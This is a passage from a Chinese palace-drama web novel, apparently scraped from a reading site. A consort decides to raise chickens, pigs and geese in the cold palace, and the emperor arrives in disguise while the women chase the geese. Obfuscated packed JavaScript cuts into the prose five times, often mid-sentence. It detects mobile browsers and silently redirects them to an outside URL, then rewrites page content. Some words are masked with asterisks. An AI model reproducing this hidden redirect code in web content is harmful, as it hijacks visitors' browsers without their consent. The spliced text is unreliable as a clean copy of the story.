“那你说说,你想怎么帮我?”姜妃这会儿完全被贺云瑄的话勾起了兴趣,她也不急着走了,重新回到了石桌前。 正要坐回去,贺云瑄却叫住了她,小跑着进屋拿了一个软垫出来,贺云瑄很是讨好道:“姜姨姨你身上有伤,这样垫着会舒服一点。” “你方才可没这么体贴,说说吧,到底在打什么鬼主意?”姜妃嘀咕一句,问道。 对于贺云瑄变化的态度,她倒也没有真的在意,左右这小子眼里就只有晋姐姐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482423|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算真有什么算计,那也是为了晋姐姐,姜妃还真就不怕他算计这个。 贺云瑄说:“姜姨姨还记不记得之前你教过云瑄,法不责众?” 他声音稚嫩,但是一双黑黝黝的眼睛却很是认真。 姜妃道:“记得呀,那又如何?你就别卖关子了,直接说吧。” 贺云瑄说:“这后宫里不是有很多清闲的嫔妃吗?姜姨姨大可以要她们各显身手,帮您筹办这次宫宴呀。 这要是办的好了,可是在陛下面前露脸的机会,她们肯定愿意的,而且就算办的不好,那么多人都插手了,也怪不到姜姨姨一个人身上。” 姜妃听到这里,一双眼睛蓦然睁大:“你小子脑袋转的倒是挺快,这么好的主意,我怎么没有想到呢? 这样一来,那些嫔妃为了在陛下面前露脸,一定会事事做得最好。 把这些甩给她们,我也落得清静,还能卖个人情。 就算到最后太后真的要挑这场宫宴的毛病,那么多人都沾手了,又是中秋这样大好的日子,她也只能息事宁人。 哎呀,这可是一举多得的好主意呀,小云瑄,你真是太聪明了,姜姨姨真没白教你。” 姜妃激动的眼睛都亮了,伸手过来就捏贺云瑄的脸,贺云瑄稍稍躲了躲,他说:“姜姨姨,我替你解决了这么**烦,你可要好好帮我娘亲查事情。” “那是当然,你放心吧,是关晋姐姐的事,我不会懈怠的。”姜妃一脸郑重。 不仅不会懈怠,她也不敢懈怠。 晋老将军对她们姜家有恩,她若是对晋姐姐的事不放心,让她爹知道了,非得打断她的腿。 当然,她自己也是打心眼里想与晋姐姐交好的。 心里的大事得以解决,姜妃正忙着出去安排下去,晋明鸢忽然问:“你如今置办宫宴,有没有出宫采买的权利?” “当然有了,姐姐有什么想要的吗?”姜妃问。 晋明鸢点头:“我想要几只鸡,再要几只小猪崽,要活的。” 第78章 她要在皇宫养猪? “什么?”姜妃怀疑自己听错了,一双眼睛震惊的看向晋明鸢。 活鸡活猪? 这是要做什么?难不成晋姐姐还要在这皇宫里养家禽,牲畜? 贺云瑄也是瞪大了眼睛:“娘亲,你要这些做什么?” 明明就在半个时辰之前,娘亲还是一脸忧虑的为之前的事发愁,这才多大一会,她怎么就要起这些莫名其妙的东西了? 晋明鸢说:“这不是马上就冬天了吗?没有几个月就过年了,咱们在这冷宫,吃喝总是不方便的,我这不是想着弄些鸡养着,以后咱们自己就有鸡蛋吃了。 还有小猪现在养上的话,等年关云瑄就有肉吃了,时间刚刚好,不是吗?” 是刚刚好。 只是… 贺云瑄嘴角抽搐了一下:“娘亲,这里可是皇宫,你确定能养那些吗?” “皇宫怎么了?皇宫里的人就不能吃喝了吗?咱们这是自食其力,不丢人,再者说了,就算真追究起来,那不也是陛下先断我吃喝吗? 菜都种了,养点牲畜有何不可?还能让人一辈子不吃肉了?”晋明鸢说。 她话说的理直气壮,但在提到陛下二字的时候,眼睛里还是闪过了些许的心虚。 那日她虽然与那陛下不欢而散,但是陛下走后,就把贵妃协理六宫的权力分给了姜妃一些,难道是因为把她的话听进去了,才会忽然责罚贵妃? 虽然现在晋明鸢对那位陛下的为人还是不甚了解,但通过现在这些点点滴滴,她觉得那应该是个好人。 过去的事没法改变,那她就从现在改变吧,不管怎么至少得先和她那个不明不白的奸夫断了联系,以后不能再要那人的吃食了。 虽然现在有姜妃接济一二,晋明鸢总觉得只靠别人总归不太方便,她干脆自食其力好了。 “可是…”贺云瑄还是有些担忧,他总觉得晋明鸢要在皇宫里养牲畜这种事儿很不靠谱。 万一再因此激怒了陛下太后… 贺云瑄犹豫着,又想再劝,姜妃这会儿却是回过了神来,直接大笑出声:“谁说晋姐姐的想法不好,这想法简直是太好了呀,以后咱们不仅有新鲜的鸡蛋吃,过年还有猪肉吃,平日里更是有宠物逗着玩儿,这可真是一举多得的好事呀。 晋姐姐放心,这都是小事,我这就安排下去,估计最快明日就能把你要的东西弄来了。” 姜妃完全是一副看热闹不嫌事大的姿态,笑得花枝乱颤。 晋明鸢也道:“现在秋天是有些晚了,等明年开了春,我们还可以再弄些别的菜种,反正这院子也大,就算以后没有人给我们吃食,咱们也能在这里过得很好是不是?” 姜妃点头:“晋姐姐说的都对,那晋姐姐这次打算要多少?” 晋明鸢掰着手指算了算:“就先要两头小猪,再来六只**,可记得公的母的都要,我先养养看,如果能养得好,就再弄一些来。” 她也没有养这些的经验,虽然有了主意,难免担心养不活,总要先弄点试试水。 姜妃又点了点头,晋明鸢说:“放心,我不会让你吃亏的,我有的是银子。” 说话间,她转头对着贺云瑄吩咐:“你去把之前贵妃让欣贵人送来的那些珠宝拿来,让姜妃自己挑。” 那些玩意儿摆在她屋里,本来就是破铜烂铁,现在正好换些有用的东西。 “晋姐姐说,要我拿贵妃给你的金银去买那些?”姜妃问。 “有问题吗?反正那些在我这里也没什用。”晋明鸢说。 姜妃嘴角的笑又要压不住,她连连摇头道:“没问题,那自然是没问题的,想来贵妃给晋姐姐送金银,也是希望晋姐姐买些自己喜欢的东西,现在这不正合了贵妃的意吗?” 话到最后,姜妃又是有些掩饰不住,声音里已经不自觉的夹杂了几分笑意。 这事可真是越来越有意思了,本来她还有点担心晋姐姐在这里养些牲畜,万一真的被陛下怪罪,总归是有些麻烦的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482424|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>却没有想到瞌睡来了,就有枕头直接递了过来。 晋姐姐要拿来买小猪崽的银两,既然是贵妃送的。 这事儿不就没毛病了吗?就算真的有人要发难,那也和贵妃脱不了关系啊,毕竟退一万步讲,若是贵妃没有给晋姐姐送银两,晋姐姐也没钱养猪啊。 这连以后的退路都有了,姜妃就更不可能阻止晋明鸢养猪了。 她本就是个不安分的性子,现在想到皇宫里养猪,她就忍不住兴奋,这事儿真是越来越好玩了。 晋明鸢没有在意姜妃的阴阳怪气,她又说:“云瑄这几年跟着我在冷宫也是受了不少委屈,这次能不能拜托你在顺道帮他带一些上好的笔墨回来? 还有他长这么大都没有吃过什么好东西,这京城里时兴什么,能不能都帮我买些回来,我想给他个惊喜。 你放心,我有银子。” “姐姐,给云瑄买东西,就让我这个做姨姨的来吧,毕竟我这段时间也没少在你这里蹭吃蹭喝,姐姐那些银两就留着以后开了春再买些鸡鸭好了。 云瑄正是长身体的时候,这以后食量只怕也会变大,姐姐可得多养些牲畜,这样才能让咱们云瑄吃好吃饱。”姜妃说。 她笑眯眯的,眼睛里的期待之色更甚。 那句咱们云瑄,听起来就好像贺云瑄是她与晋明鸢的孩子一样。 晋明鸢煞有介事的点点头:“你说的也有道理,等到云瑄长大,还有好些年呢,我得把这院子好好规划规划,这以后咱们就自给自足。” “好,都听姐姐的。”姜妃笑的眉眼弯弯。 之前她还有些担心,晋姐姐又被那人哄骗,想要与那人破镜重圆。 现在看来,晋姐姐分明没有出冷宫的打算,她甚至将自己的未来都安置在了这个院子里,种菜,养家禽,这分明是想在这里过一辈子的打算。 至少在她现在的这些安排里,完全没有那个男人的踪迹。 姜妃,觉得这样很好。 第79章 姜妃也够不靠谱 姜妃心里了却了一桩大事,兴匆匆的就离了冷宫。 晋明鸢又给姜妃要了一些可以做篱笆的木材,姜妃走后,她招呼着芙蕖柳枝忙了起来。 近来芙蕖柳枝虽然还是不会主动干活,但是晋明鸢招呼起来,她们虽说不情愿,却也不会直接抗拒,除了这次。 一捆木棍被塞进手里的时候,柳枝一张脸都僵了:“晋娘娘,算奴婢求您了,您还是尽早打消了您那古怪的想法吧,在冷宫里养猪,这事若是传到陛下耳朵里去,不只是您,奴婢们也没好果子吃的。” 芙蕖也说:“是啊,晋娘娘,您就算不为自己着想,也该为小公子着想吧,陛下本来就不喜小公子,平日里您安稳度日,不惹陛下注意也就罢了,若是眼下在犯错事…” “怎么就是错事了?什么时候吃饭都是错了,让你们干活你们就干,哪来那么多废话?”晋明鸢没好气的道。 芙蕖呼吸一滞,脸上还是格外的不情愿,柳枝扭头看向了贺云瑄:“小公子,你愣着干什么?还不赶紧劝劝晋娘娘,这冷宫就算再偏僻,那也是皇宫呀,哪能把皇宫当畜牧场的?这实在是…实在是荒唐!” 贺云瑄也是垮着一张脸。 不用这两个宫女说,他自己也觉得这事儿很是不妥。 从姜妃把银两拿走之后,他就一直在思忖着,该怎么让他娘亲打消主意。 只是娘亲在提到这件事的时候,一直都是雀跃的,期待的,他看着娘亲那张欣喜的脸,内心深处实在不想让娘亲失望。 贺云瑄犹豫着还是没有说话,倒是晋明鸢一仰头:“说什么屁话呢?我儿子自然是和我一心的,让你们干活,哪来那么多废话? 愣着做什么呢?还不赶紧动起来?” 两个宫女如梗在喉,见实在劝不动,只能任命的捡了那堆树枝。 芙蕖不情不愿的问:“晋娘娘想好要把哪里圈起来了吗?” “那是自然。”晋明鸢伸手一指,“喏,给我把这一片围起来就可以了,弄结实一点儿,可不能出岔子。” “这…晋娘娘,您这样实在是…”柳枝一脸的僵硬,她想让晋明鸢赶紧再考虑考虑,芙蕖拉了一下她的袖子:“柳枝,按晋娘娘的吩咐来吧。” 两个宫女虽然态度总是不怎么好,但干活的动作确实很快,不出半日就已经按着晋明鸢的吩咐将篱笆扎了起来。 晋明鸢检查了一遍,很是满意,便放过了她俩。 等到终于离开了晋明鸢的视线,两个宫女坐在冷宫大门口,脸上都有些血的犹豫。 柳枝又回头看了一眼院里高高竖起的篱笆,她道:“晋娘娘这事做的实在荒唐,咱们要不要去知会陛下一声?” 芙蕖犹豫着,最后却是摇了摇头:“算了吧,你想被她打呀,她如今失忆之后邪门的很,多一事不如少一事吧。” “可…” “放心好了,她想在冷宫里养活物,这种是注定瞒不了多久的,就算咱们不说,陛下很快也会知道了。 咱们只是下人,做不了主子的决定,更何况这事连姜妃都有参与,还是别自找麻烦了。” 柳枝点了点头,终于还是被芙蕖说动了,她又重重的叹了一口气:“但愿晋娘娘不要弄得太过吧。” 说这话的时候,柳枝自己心里都没底儿,毕竟在后宫里养牲畜,这事简直就闻所未闻。 “两位姑娘在说什么,可是晋娘娘出了什么事?”就在柳枝和芙蕖唉声叹气的时候,旁边泠竹苑的门开了,安妃带着春樱走了出来,有些担忧的问道。 两人连忙起身行礼,对被安妃撞上这件事还有些许的惊讶。 虽说这安妃搬到泠竹苑也有几日了,但她和成天来串门的姜妃不同,她更多的时候都是闭门不出。 这也是芙蕖和柳枝头一回正面撞上她。 碰上这样的事,柳枝一时拿不准主意,不知该不该说,是芙蕖道:“劳安妃娘娘担心了,晋娘娘无事,只是她今日向姜妃娘娘要了几只活畜,只怕是…” “什么?她…”还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482425|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有等芙蕖说完,春樱已经忍不住提高了音调,安妃轻飘飘的望了一眼,她连忙捂住了嘴,但眼里的惊讶一点不少。 安妃说:“晋娘娘这么持家,这是一件好事呀,你们也别在这里唉声叹气的了,该做什么就做什么去吧。” 持家?好事? 这能算是持家吗? 芙蕖看着安妃那张云淡风轻的脸,她甚至怀疑安妃根本就没有听懂她说了什么。 等她再回过神来,想要把话说的清楚一些的时候,就见安妃的身影已经远去。 同芙蕖和柳枝一样心里不安的还有贺云瑄。 他一整晚都在纠结着,一边想着不能败了晋明鸢的兴,一边又觉得这种荒唐事还是该劝一劝,到了最后他甚至有些祈祷,姜妃还是不要吧,那些东西弄来的好,这样就万事大吉了。 但偏偏老天根本就没有听到贺云瑄的祈祷,翌日天刚一亮,外面就传来了一阵古怪的喧闹,还有姜妃欣喜的声音:“晋姐姐,你要的东西我都给你弄来了,你院里收拾好了没有?我还给你弄了两个好宝贝呢?” 贺云瑄几乎是瞬间惊醒,他脑海里一直回荡着姜妃那句好宝贝,心里蓦地升起了一股不祥的预感。 他觉得很多时候,这位姜姨姨简直比他年轻还要不靠谱。 晋明鸢一直等她的宝贝了,期待让她一整夜都没有睡好,听到姜妃的动静,她就匆匆迎了出来。 在看到姜妃带来的东西,她眼睛霎时就亮了:“姜妹妹你可以啊,这些东西都能弄来。” 贺云瑄听着动静,不祥的预感更甚,他都来不及穿好外衣,就急匆匆的跑了出来,直到看到面前的一幕,他真的觉得脑子里一阵嗡鸣。 冷宫门口的甬道上,放着一个巨大的铁笼,笼子上盖了层布,现在被掀开了一角,只透过那微小的缝隙看了一眼,贺云瑄就麻木了。 那笼子里除了晋明鸢点名要的鸡和猪以外,竟然还有两只引颈高歌的大白鹅,那粗噶的声音,简直要响彻皇宫。 第80章 陛下应该赞同晋娘娘 鸡和猪也就算了。 就算荒唐,关在冷宫里,起码不会弄出太大的动静来,可这鹅… 叫声实在是太过于响亮了,挡又挡不住,贺云瑄怀疑,不出半个时辰,这宫里所有人都知道她们在冷宫养牲畜了。 “姜姨姨,你为什么要弄两只鹅来?” 贺云瑄简直要麻木了,在看向姜妃时,表情更是一言难尽。 他果然是没有看错姜妃,这姜妃确实比他娘亲不靠谱。 姜妃说:“这你就不知道了吧,这可是好东西,在民间这鹅可有看家护院的好本事,比狗还好用呢,晋姐姐这院里总是来些莫名其妙的东西,我这也是为了晋姐姐的安全着想。 小云瑄,你这是什么表情,是在嫌弃你姜姨姨?” 他是嫌弃,可是他也不敢说呀。 贺云瑄努力让自己平静下来,他说:“我知道姜姨姨是好心,可是这鹅叫起来声音太大了,我担心…” “哎呀,担心什么?猪都养了,还差一只鹅吗?放心好了,不会有事的,晋姐姐,你觉得呢?”目光一转,姜妃就把话题引到了晋明鸢这里,声音里还带着明显的期待。 “我觉得甚好。”晋明鸢一点也不吝啬自己的夸赞,她直接招呼道,“还等什么?赶紧都赶进来吧。” 冷宫的门打开,看到院子里的景象,这回是轮到姜妃惊讶了,她瞧着那空荡荡的院子,只有密密麻麻的围篱笆将一方小小的菜地围住,脸色一片僵硬:“晋姐姐是说,把这些直接放养在院子里吗?” 姜妃有些不确定。 这虽然冷宫的院子是大,但是让一群牲畜满园子里乱跑,想想她就有些怀疑人生。 晋明鸢道:“放心好了,我已经让人把菜地围起来了,不会让它们糟蹋了菜的,而且听说牲畜就是要放养,多走动才健康,肉才结实。” 这… 话是这么说,可是绕是姜妃对晋明鸢的任何决定都是赞同的,这会儿也有些头疼。 她总觉得用不了多久,这冷宫怕是就没法住人了。 “算了,就按姐姐说的办吧。”姜妃只是犹豫了片刻,很快又妥协了。 左右旁边她幽兰馆的位置也大,若是这冷宫真的没法住人了,大不了她去求陛下让晋姐姐和云瑄一起搬到幽兰馆去。 姜妃很快就招呼着人,把牲畜全都赶尽了冷宫的院子。 与此同时,隔壁泠竹苑的门忽然打开,安妃身着一袭素衣,悄无声息的朝着紫宸殿而去。 “你说什么?晋娘娘要在冷宫里养猪?”张公公尖锐的声音在紫宸殿回荡不停。 贺江灈在堆成山的奏章里抬起头来的时候,脸上也闪过了几分错愕。 而在紫宸殿中央,跪着的那人正是御膳房的采买管事,这会儿更是瑟瑟发抖。 “是呀,奴才也没想到,昨日姜妃过来,吩咐奴才们去买活鸡活猪,奴才们以为她是为中秋宫宴做准备的,想要现杀的肉。 哪里知道今日早上东西才刚采买回来,姜妃就让人直接送去了冷宫,奴才们实在拦不住,只能来见陛下了。” 说话间,那管事额头上的冷汗已经如雨一般落了下来。 这都是些什么事呀?他在皇宫负责采买也有大半辈子了,就没遇到过这么荒唐的事儿。 “荒唐,这实在是太荒唐了,陛下,晋娘娘她…”张公公也满脸僵硬,便是他见多识广,这会儿也不知道该说些什么。 “陛下,安妃娘娘求见。”气氛陷入诡异的古怪中时,外面忽然又传来了一声通报。 张公公目光一凛,小心翼翼的看了贺江灈一眼。 如果没有记错的话,前段时间安妃是搬到了冷宫隔壁的泠竹苑,这个时候她忽然过来,难不成也是来告状的? “让她进来吧。”贺江灈也是想到了这一层,有些无奈的揉了揉眉心。 安妃很快就走了进来,行过了礼之后,她先看了一眼跪在地上的人,直接开门见山道:“陛下刚才可是在说晋娘娘在冷宫养宠物的事?” 她一句宠物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482426|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一下子就换来了旁人惊讶的目光。 鸡,猪,鹅… 她管这些叫宠物?这些哪个又能称得上宠物? 贺江灈有些头疼:“行了,你不必再说了,朕会跟她说清楚,让她抓紧把那东西弄走。” 他倒也不是要偏向安妃,只是晋明鸢的行为实在是前无古人,后无来者,太过离谱。 “陛下误会臣妾了,臣妾不是那个意思,臣妾来是想告诉陛下,晋娘娘养宠物这事,只怕姑母知道了会有意见,还请陛下早点安排,一定要瞒住姑母。”安妃说。 “你说…你赞同她养那些?”贺江灈问。 知道今天弄进冷宫的是什么东西,他根本就说不出宠物二字。 安妃说:“晋娘娘这些年在冷宫过得实在凄楚寂寞,臣妾记得她之前其实是个喜欢热闹的人,她现在想养这些宠物,当是因为排解寂寞。 臣妾觉得陛下也该赞同晋娘娘这点小爱好。” 安妃话说的面无表情,但旁边不管是张公公也好,又或者别人也罢,五官都憋得扭曲到了一起。 什么时候,这安妃与冷宫那位也这么好了,她不是一向清冷喜欢安静吗?怎么碰上这种事竟然不嫌聒噪还来求情? 贺江灈没有马上接话,安妃又说:“陛下,爱一个人就要包容她的所有喜好,不是吗?” “张康全,**息若是谁胆敢将此事传到太后那里,格杀勿论。”一片沉默之后,贺江灈再开口就直接下了定论。 算了,一个宠物而已,他还是能让她养的。 至于太后那里,闹起来确实麻烦,倒不如先瞒着。 安妃又说:“臣妾告退。” “等等,你今日留下来用午膳吧。”贺江灈出生叫住了她,又一次烦躁的揉了揉眉心。 安妃乖顺的应下,直到所有人都退下了,没有等贺江灈问什么,她就很自觉的道:“臣妾觉得,晋娘娘现在养宠物,她身边定是有很多人反对,陛下不如去趟冷宫,表现一下对她的赞许。” 第81章 抓大鹅啊 皇宫的夜之前从来都是寂寥的,安静的。 尤其是冷宫附近,就连夏日里的虫鸣鸟叫声都好像不会惊扰这片宁静。 唯有今日… 哪怕还隔着几条宫道,都能让人听到鸡鸣猪叫声。 最让人头疼的是这中间还夹杂着一两声粗嘎的鹅叫,那动静,就像是要将这宫里的天都捅破了一样。 虽说下了命令瞒着福寿宫那边,可贺江灈亲自走了这一圈儿,就知道这动静绝对瞒不住太后多久。 还没有走到冷宫,贺江灈都已经能猜到现在冷宫已是什么模样了。 也不知是不是心理作用,他甚至都觉得,皇宫里的甬道上,都飘着一股浓厚的腥臭味。 等真的到了冷宫时,贺江灈才发觉自己想象的还是太保守了。 六只鸡,两只猪,再加两只鹅,被散养在冷宫的院子里,就像是撒了欢一样,满园子的乱跑,单是那叫声就好像能刺穿人的耳膜一样。 明明应该是这宫里最安静的地方,这会贺江灈却觉得六宫嫔妃加在一起,都不如这冷宫热闹。 只粗略的往里边望了一眼,贺江灈就是一阵头疼,他这会儿甚至有些佩服安妃,竟然能面不改色的将这么一堆东西称作宠物。 当然今日头疼的可不止贺江灈。 亲口提出要养这些东西的晋明鸢同样脑壳发疼。 想象是一回事,现实是另一回事,这才仅仅过了一个下午,晋明鸢就已经被姜妃弄来的那两只大白鹅折磨的心力交瘁。 姜妃说那两个东西是用来看家的,却是连她自己都没有弄清楚,这鹅的领地意识竟然那么强。 自从被赶到院子里之后,这两个东西就开始无休止的追着猪跑,撵着鸡跳,直恨不得把这整个院子都清空一样。 最主要的是,扯着嗓子叫起来,那尖锐的声响也真不是寻常人能受得住的。 眼下已经亥时,平日里这个时间晋明鸢早该歇息了,今日却硬生生的被这两只鹅弄得没有一点困意。 天上的月亮又大又圆,清冷的月光足够将院子里的景象照的清楚。 晋明鸢,贺云瑄,以及姜妃三个人正生无可恋的坐在长廊下盯着那两只已经将小猪崽赶到角落里还不罢休的恶霸鹅发愁。 姜妃自己也没想到会弄成这样,她一脸尴尬地道:“对不起阿,晋姐姐,我也不知道会这样,要不现在我把它们抓起来丢御膳房去?” 话到这里,姜妃自己觉得自己的提议很可行,立刻起身,挽了袖子就要干活。 贺云瑄有些无奈道:“姜姨姨,这鹅动静太大了点儿,就算你现在把他们丢到御膳房去,这一路上,单是这动静,不知要引出多少人。” 姜妃说:“这倒是小事,老娘直接把它们拍晕了就是,走,小云瑄,姨姨可是教了你许多功夫,你可不能给姨姨丢人,跟姨姨一起去抓鹅。” 贺云瑄还是觉得有些不靠谱。 可是这尖锐的声响,若是真的不解决了,娘亲今晚怕是真的睡不了觉。 瞧着姜妃那摩拳擦掌跃跃欲试的模样,贺云瑄终于硬着头皮打算起身帮忙。 一直没出声的晋明鸢却忽然想起了什么一般,她道:“哪里用得着这么麻烦,这可是花老娘的钱买的,送去御膳房岂不是便宜了别人? 要不咱们干脆抓过来自己吃了算了,正好也给云瑄补补身体。” “这个主意好,我觉得行,走,云瑄,干活,咱们明天的饭又着落了。”姜妃说。 晋明鸢也挽了袖子起身,一副干劲十足的模样,贺云瑄忍不住提醒:“娘亲,姜姨姨,先等等,于嬷嬷没教过我杀鹅,我不会呀,你们先别抓啊!” 贺云瑄的声音很快就被震耳欲聋的鹅叫声给淹没。 姜妃和晋明鸢哪个都没听她的吆喝,已经冲进院子里一人追着一只大鹅乱跑起来。 姜妃买鹅,为的就是要看家护院弄来的,两只都是已经长成的大鹅,哪个看起来都得有二十斤左右。 这个头大跑的也快,自然是不好抓的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482427|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 尤其是冷宫院子又大,活动范围自然也广,不出一刻钟,晋明鸢和姜妃两人就已经累得气喘吁吁,却是连一根鹅毛都没抓到,不得不停下来休息。 贺云瑄早就料到这一幕了,已经备好了茶水,见两人停下来,他连忙招呼道:“娘亲,姜姨姨,先喝口茶休息休息吧。” “好啊,你小子,我与你娘亲累死累活的抓鹅,你这是在这儿看我们笑话呢,也不帮忙。”姜妃点了点贺云瑄的额头,她打趣一句,端了一盏茶,一饮而尽。 贺云瑄道:“我哪敢看姜姨姨的笑话? 我只是想提醒你们一句,我不会杀鹅,也不知道怎么做鹅啊。” “那咋办?我花银两买的鹅,总不能便宜了别人吧?”晋明鸢一听这个,立刻就仰天长叹。 “哎呀,先别管,抓了再说,总会有办法的,大不了直接丢锅里煮就是了。”姜妃倒是很看得开,喘了口气又准备起来干活。 贺云瑄再次不紧不慢的阐述事实:“可是姜姨姨,你好像也抓不住它们。” “好啊,你小子看不起谁呢?刚才还不是你偷懒不来帮忙?区区两只鹅而已,本宫会拿捏不了它们?”姜妃一点也不服,当即就朝着那两只活脱脱的恶霸一样的鹅冲了过去。 鹅受了惊,满园子的横冲直撞。 就在这时,冷宫的门忽然开了一只鹅,正好朝着正要进门的贺江灈撞去。 姜妃根本来不及看清来人的脸,就立刻高声吆喝道:“愣着做什么?快抓住它呀,别让它跑了?” 晋明鸢亦是着急的追过来:“老娘花钱买的鹅呀,可别还没吃就打水漂了。” 贺江灈根本就没有看清楚院里的景象,先被姜妃与晋明鸢尖锐的声音阵了一下。 再定睛一看,一个巨大的白影正冲着自己的脸扑过来,他伸手一抓,直接掐住了鹅的脖子,抬脚将半开的冷宫大门踹了回去。 伴随着咣当一声巨响,姜妃终于看清了他的脸,表情几乎僵在了脸上。 第82章 你还不配 晋明鸢眼里只有她花大价钱买来的鹅。 她倒是没有姜妃那般反应巨大,只是急匆匆的冲着贺江灈跑了过来,庆幸道:“还好你动作快,没让我的鹅跑出去,不然我的钱就白花了。” 贺江灈没有办法对晋明鸢脸上的那份喜悦感同身受,他只是被眼前的这副鸡飞狗跳的模样震的好一会都冷静不了。 “你们这是在做什么?大半夜的不睡觉,与鹅赛跑?”贺江灈冷声问。 他今日一身黑衣,没戴面具,又是那副暗卫的打扮。 可贺云瑄已经在姜妃那里知道了他的身份,这会儿听他发问,心里有些没底,心里近乎急切的思索着该怎么应付过去。 至于姜妃,同样也是一脸的心虚,根本不知道该怎么解释现在的情况。 唯有晋明鸢还在状况之外,她伸手拍了一把贺江灈的肩膀:“什么与鹅赛跑,你在这里拿话刺谁呢?行了,我的事与你无关,你赶紧哪儿来的回哪儿去吧。” 她从上次就打算和贺江灈撇清关系了,这次再见到对方,自然是没什么好气。 话说着,她就要接贺江灈手里的鹅。 贺江灈倒也没有拒绝,手顺势一松,却没有想到晋明鸢完全低估了鹅的重量,一时没有接稳,竟是让那只鹅张开翅膀挣脱了出去。 晋明鸢一脸恼怒的跺了跺脚,又转头看向贺江灈:“你诚心的是不是那东西那么重,你怎么不提醒我一声?我不管,反正是你弄丢的,你再去给我抓回来。” 贺江灈拧眉看她,没说话,但晋明鸢觉得他就是在问凭什么。 晋明鸢当即就没好气的道:“你哪来那么多毛病,本来就是你把我鹅弄丢了,再说了,帮你儿子抓这个补补身体不是理所当然的吗?赶紧去抓。” 说话间,她又伸手推搡了贺江灈一把。 贺江灈的脸色算不上好看,却没有拒绝,顺手挽了袖子就奔着那刚刚逃脱的大鹅而去。 看到这一幕,姜妃才默默的回过神来,但很快,她嘴角又露出了个不怀好意的笑:“这能杀鹅的人不是有了吗?晋姐姐,等会儿你让他把鹅杀了再走呗?” 虽然看到这个人又出现在晋姐姐身边,她现在还不能揭穿,姜妃心里就有些不舒服,但这能发泄怒气的机会,这不就来了吗? 反正是他自己拿假身份糊弄人的,那就不能怪她们指使他了。 姜妃眼珠子转了转,只觉得自己的想法无比聪明。 “他?”晋明鸢有点怀疑。 姜妃点头:“晋姐姐,你看他的打扮,就是习武之人,杀个鹅而已,肯定不在话下,有人帮忙,我们何必自己动手,你说是不是?” 姜妃的如意算盘打的噼啪响,若是她自己开了这个口,那人不仅未必会造作,说不定回去了还会找借口罚她。 可若是晋姐姐开口,她再随便起哄两句,结果肯定就不一样了。 晋姐姐让他去抓鹅,他都抓,摆明了是想要讨好晋姐姐的。 那晋姐姐的要求他肯定照做。 想想有生之年,还能看到高高在上的陛下杀鹅,姜妃就觉得一阵心潮澎湃。 晋明鸢还有些犹豫,她一时有些拿不准主意。 目光不自觉的落在了贺江灈的身上,就看到那只把她和姜妃都累得半死的鹅,碰上贺江灈竟然毫无逃跑的余地,很轻易的就被掐着脖子拎了回来。 晋明鸢忽然觉得,姜妃的提议也不是不行,若是真让她们两个人自己杀鹅,还不知道要闹得成什么模样呢。 这边晋明鸢还没有说话。 姜妃眼睁睁的看着贺江灈走过来,害怕晋明鸢拒绝,她直接开口道:“这鹅你都抓都抓了,不如就帮我们杀了吧,这东西这么难缠,总不能让晋姐姐自己动手吧,您说是吧?” 贺江灈冷眼扫向姜妃,他如何听不出来这女人就是故意指使他,仗着阿鸢的势。 虽然贺江灈没有说话,但姜妃还是被他那一眼瞪得心里发怵,她强压着心虚,又说:“我说的是实话,我也是为晋姐姐着想,您不 